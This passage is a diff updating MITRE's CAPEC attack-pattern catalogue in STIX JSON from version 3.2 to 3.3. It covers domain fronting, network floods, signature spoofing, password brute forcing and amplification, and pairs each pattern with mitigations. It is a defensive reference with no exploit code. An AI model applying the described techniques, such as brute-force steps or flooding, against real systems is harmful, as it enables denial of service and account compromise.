"course-of-action--bf819a99-45a3-4059-8c63-366a7fb34b88", "relationship_type": "mitigates", "target_ref": "attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471" }, { + "id": "attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87", "name": "Contradictory Destinations in Traffic Routing Schemes", "description": "Adversaries can provide contradictory destinations when sending messages. Traffic is routed in networks using the domain names in various headers available at different levels of the OSI model. In a Content Delivery Network (CDN) multiple domains might be available, and if there are contradictory domain names provided it is possible to route traffic to an inappropriate destination. The technique, called Domain Fronting, involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. An alternative technique, called Domainless Fronting, is similar, but the SNI field is left blank.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28668,12 +30534,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/481.html", "external_id": "CAPEC-481" + }, + { + "source_name": "ATTACK", + "description": "Proxy:Domain Fronting", + "url": "https://attack.mitre.org/wiki/Technique/T1090/004", + "external_id": "T1090.004" } ], "x_capec_likelihood_of_attack": "Medium", @@ -28693,36 +30565,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--2769b76e-88f2-4e7c-9ebb-32ab919d5fee", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-481-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor connections, checking headers in traffic for contradictory domain names, or empty domain names.", - "type": "course-of-action", - "id": "course-of-action--2769b76e-88f2-4e7c-9ebb-32ab919d5fee" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--32b657af-ab17-46cd-9717-b3b289f2f295", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--32b657af-ab17-46cd-9717-b3b289f2f295", "source_ref": "course-of-action--2769b76e-88f2-4e7c-9ebb-32ab919d5fee", "relationship_type": "mitigates", "target_ref": "attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87" }, { + "id": "attack-pattern--172e2289-333b-4796-9afd-94140c9480e8", "name": "TCP Flood", "description": "An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28730,7 +30604,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -28741,6 +30615,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:OS Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/001", + "external_id": "T1499.001" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" } ], "x_capec_prerequisites": [ @@ -28748,36 +30634,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--172e2289-333b-4796-9afd-94140c9480e8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--9ba2ccdc-749a-40ac-94fe-dd01b63d365b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-482-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an organization can monitor incoming packets and look for patterns in the TCP traffic to determine if the network is under an attack. The potential target may implement a rate limit on TCP SYN messages which would provide limited capabilities while under attack.", - "type": "course-of-action", - "id": "course-of-action--9ba2ccdc-749a-40ac-94fe-dd01b63d365b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--927e4fec-c04f-40f4-becb-c817045ecf24", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--927e4fec-c04f-40f4-becb-c817045ecf24", "source_ref": "course-of-action--9ba2ccdc-749a-40ac-94fe-dd01b63d365b", "relationship_type": "mitigates", "target_ref": "attack-pattern--172e2289-333b-4796-9afd-94140c9480e8" }, { + "id": "attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb", "name": "DEPRECATED: XML Client-Side Attack", "description": "This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28795,11 +30683,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--59a00678-cf9d-461d-91b6-bfa53fd4f0bb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47", "name": "Signature Spoofing by Key Recreation", "description": "An attacker obtains an authoritative or reputable signer's private signature key by exploiting a cryptographic weakness in the signature algorithm or pseudorandom number generation and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28846,11 +30734,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7bbe40a9-49b0-4520-838f-075ba95e1ab6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -28859,23 +30747,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure cryptographic elements have been sufficiently tested for weaknesses.", - "type": "course-of-action", - "id": "course-of-action--7bbe40a9-49b0-4520-838f-075ba95e1ab6" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--42e7e94d-1991-4bfc-ae5f-1379eb9e797a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--42e7e94d-1991-4bfc-ae5f-1379eb9e797a", "source_ref": "course-of-action--7bbe40a9-49b0-4520-838f-075ba95e1ab6", "relationship_type": "mitigates", "target_ref": "attack-pattern--5b01885b-ebb8-4b72-8314-6fb4729eda47" }, { + "id": "attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad", "name": "UDP Flood", "description": "An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28883,7 +30773,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -28894,6 +30784,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "x_capec_prerequisites": [ @@ -28901,36 +30797,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7547eca0-e697-4517-a5ea-a7cf9a8da506", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-486-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, modern firewalls drop UDP traffic destined for closed ports, and unsolicited UDP reply packets. A variety of other countermeasures such as universal reverse path forwarding and remote triggered black holing(RFC3704) along with modifications to BGP like black hole routing and sinkhole routing(RFC3882) help mitigate the spoofed source IP nature of these attacks.", - "type": "course-of-action", - "id": "course-of-action--7547eca0-e697-4517-a5ea-a7cf9a8da506" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d51664cd-4d4a-4d9d-a633-187820aacb6a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d51664cd-4d4a-4d9d-a633-187820aacb6a", "source_ref": "course-of-action--7547eca0-e697-4517-a5ea-a7cf9a8da506", "relationship_type": "mitigates", "target_ref": "attack-pattern--bb4d350b-c500-45d6-97c2-c0adccbe6bad" }, { + "id": "attack-pattern--2e017307-7bab-419b-972c-8dae9e089572", "name": "ICMP Flood", "description": "An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28956,11 +30854,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2e017307-7bab-419b-972c-8dae9e089572" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--fb127f46-6f57-4569-b6c8-e5ae71cdaee4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -28969,23 +30867,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an organization can enable ingress filtering. Additionally modifications to BGP like black hole routing and sinkhole routing(RFC3882) help mitigate the spoofed source IP nature of these attacks.", - "type": "course-of-action", - "id": "course-of-action--fb127f46-6f57-4569-b6c8-e5ae71cdaee4" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--aec19b04-5aac-4130-b0dc-e5bb2841bab7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--aec19b04-5aac-4130-b0dc-e5bb2841bab7", "source_ref": "course-of-action--fb127f46-6f57-4569-b6c8-e5ae71cdaee4", "relationship_type": "mitigates", "target_ref": "attack-pattern--2e017307-7bab-419b-972c-8dae9e089572" }, { + "id": "attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269", "name": "HTTP Flood", "description": "An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -28993,7 +30893,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29004,6 +30904,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "x_capec_prerequisites": [ @@ -29011,36 +30917,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--eb1b251c-43e2-4b90-b543-8aa95e9b48a5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-488-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an organization can monitor the typical traffic flow. When spikes in usage occur, filters could examine traffic for indicators of bad behavior with respect to the web servers, and then create firewall rules to deny the malicious IP addresses. These patterns in the filter could be a combination of trained behavior, knowledge of standards as they apply to the web server, known patterns, or anomaly detection. Firewalling source IPs works since the HTTP is sent using TCP so the source IP can't be spoofed; if the source IP is spoofed is, then it's not legitimate traffic. Special care should be taken care with rule sets to ensure low false positive rates along with a method at the application layer to allow a valid user to begin using the service again. Another possible solution is using 3rd party providers as they have experts, knowledge, experience, and resources to deal with the attack and mitigate it before hand or while it occurs. The best mitigation is preparation before an attack, but there is no bulletproof solution as with ample resources a brute force attack may succeed.", - "type": "course-of-action", - "id": "course-of-action--eb1b251c-43e2-4b90-b543-8aa95e9b48a5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a0e0819e-e083-4396-a0fe-c414c44a9c78", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a0e0819e-e083-4396-a0fe-c414c44a9c78", "source_ref": "course-of-action--eb1b251c-43e2-4b90-b543-8aa95e9b48a5", "relationship_type": "mitigates", "target_ref": "attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269" }, { + "id": "attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3", "name": "SSL Flood", "description": "An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29048,7 +30956,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29059,6 +30967,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "x_capec_prerequisites": [ @@ -29066,36 +30980,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--6d85f1a8-2ea9-4b71-946c-770993335e06", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-489-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an organization can create rule based filters to silently drop connections if too many are attempted in a certain time period.", - "type": "course-of-action", - "id": "course-of-action--6d85f1a8-2ea9-4b71-946c-770993335e06" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--63e515c5-ea52-4e4c-947f-ddf3f6b91725", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--63e515c5-ea52-4e4c-947f-ddf3f6b91725", "source_ref": "course-of-action--6d85f1a8-2ea9-4b71-946c-770993335e06", "relationship_type": "mitigates", "target_ref": "attack-pattern--f30a7c37-4d87-41d2-a103-c995948076f3" }, { + "id": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427", "name": "Password Brute Forcing", "description": "In this attack, the adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password. A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy. In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.). Knowing the password policy on the system can make a brute force attack more efficient. For instance, if the policy states that all passwords must be of a certain level, there is no need to check smaller candidates.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29103,7 +31019,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29132,8 +31048,29 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Guessing", + "url": "https://attack.mitre.org/wiki/Technique/T1110/001", + "external_id": "T1110.001" } ], "x_capec_likelihood_of_attack": "Medium", @@ -29151,13 +31088,17 @@ ], "x_capec_consequences": { "Confidentiality": [ - "Gain Privileges" + "Gain Privileges", + "Read Data" ], "Access_Control": [ "Gain Privileges" ], "Authorization": [ "Gain Privileges" + ], + "Integrity": [ + "Modify Data" ] }, "x_capec_abstraction": "Standard", @@ -29165,87 +31106,94 @@ "\n A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case English letters only. The system does not implement any password throttling mechanism. Assuming the adversary does not know the length of the users' password, an adversary can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the adversary were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger.\n An adversary's job would have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid English words containing up to five letters than 12,356,631, an attack that tries each of the entries in the English dictionary would go even faster.\n ", "A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords). See also: CVE-2004-1143" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access.

    2. Techniques
    Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Perform an offline dictionary attack or a rainbow table attack against a known password hash.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1260aa3b-67cb-4194-9b7c-1edcd9cea382", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-49-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user.", - "type": "course-of-action", - "id": "course-of-action--1260aa3b-67cb-4194-9b7c-1edcd9cea382" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a2efb506-562c-41e5-afef-c5f89f5bf4ab", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a2efb506-562c-41e5-afef-c5f89f5bf4ab", "source_ref": "course-of-action--1260aa3b-67cb-4194-9b7c-1edcd9cea382", "relationship_type": "mitigates", "target_ref": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427" }, { + "id": "course-of-action--67382257-6794-48ac-82a0-f33260b6f0db", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-49-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users.", - "type": "course-of-action", - "id": "course-of-action--67382257-6794-48ac-82a0-f33260b6f0db" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c0f08626-b782-458e-bf5e-36ceaf04f850", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c0f08626-b782-458e-bf5e-36ceaf04f850", "source_ref": "course-of-action--67382257-6794-48ac-82a0-f33260b6f0db", "relationship_type": "mitigates", "target_ref": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427" }, { + "id": "course-of-action--bb36d937-986b-43eb-aa65-3e773af8ce32", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-49-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen.", - "type": "course-of-action", - "id": "course-of-action--bb36d937-986b-43eb-aa65-3e773af8ce32" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fb2ec194-be12-4cc9-8d13-70492fffaff4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fb2ec194-be12-4cc9-8d13-70492fffaff4", "source_ref": "course-of-action--bb36d937-986b-43eb-aa65-3e773af8ce32", "relationship_type": "mitigates", "target_ref": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427" }, { + "id": "attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838", "name": "Amplification", "description": "An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -29253,7 +31201,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -29264,6 +31212,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Network Denial of Service:Reflection Amplification", + "url": "https://attack.mitre.org/wiki/Technique/T1498/002", + "external_id": "T1498.002" } ], "x_capec_prerequisites": [ @@ -29271,36 +31225,38 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--d0ed5ae3-a632-40b6-adec-abee22f9f753", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-490-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an organization can attempt to identify the 3rd party services being used in an active attack and blocking them until the attack ends. This can be accomplished by filtering traffic for suspicious message patterns such as a spike in traffic where each response contains the same large block of data. Care should be taken to prevent false positive rates so legitimate traffic isn't blocked.", - 